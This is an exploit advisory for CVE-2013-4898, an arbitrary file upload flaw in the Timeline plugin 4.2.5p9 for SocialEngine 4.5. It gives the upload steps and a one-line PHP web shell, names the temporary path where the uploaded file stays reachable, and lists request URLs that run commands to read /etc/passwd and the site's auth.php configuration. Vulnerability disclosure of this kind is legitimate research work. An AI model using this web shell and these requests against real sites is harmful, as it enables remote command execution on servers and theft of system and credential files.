SocialEngine Timeline Plugin 4.2.5p9 - Arbitrary File Upload

# Exploit Title: Sending php file in the timeline plugin cover image of SocialEngine 4.5 

# Date: 2013-08-17 

# Discovered by: Wesley Henrique Leite aka "spyk2r" 

# Vendor Homepage: http://webhive.com.ua/

# Software Link: http://webhive.com.ua/store/product.php?id_product=46

# Version: plugin Timeline 4.2.5p9 for SocialEngine 4.5 

# Vendor Notified: 2013-08-17

# CVE Notified: 2013-08-24

# CVE : CVE-2013-4898





+ INTRODUCTION



The plugin has the objective give you a better visual for the user

profile, allowed the addition of cover image keeping the layout closest

to the style of modern social networks, among other features.



+ DESCRIPTION OF VULNERABILITY



Logged into the system, enter on profile page of your user. [my profile]



    http://[url]/index.php/profile/[profile-name]



    >> Click "Change Cover"



    >> Click "Upload Cover"



select the file "*.php" you want to send.



//### Example PHP file to send "inject.php" ### 

    <?php echo system("$_GET['cmd']"); ?> 

//###



After selecting the file upload, this will be sent to an area temporarily,

the system detects that the format is not valid, but doesn’t remove,

allowing access later.



an error message is displayed on the screen.



[ File "/srv/www/htdocs/XXXXXXXXXXX/public/temporary/timeline/cover_original_8.php" 

is not an image or does not exist ]



+ ACCESS



    /srv/www/htdocs/XXXXXXXXXXX/public/temporary/timeline/cover_original_8.php



The important thing is the structure of public forward, it will give 

us access to our archive.



    http://[url]/public/temporary/timeline/cover_original_8.php?cmd=cat%20/etc/passwd



    http://[url]/public/temporary/timeline/cover_original_8.php?cmd=cat%20../../../install/config/auth.php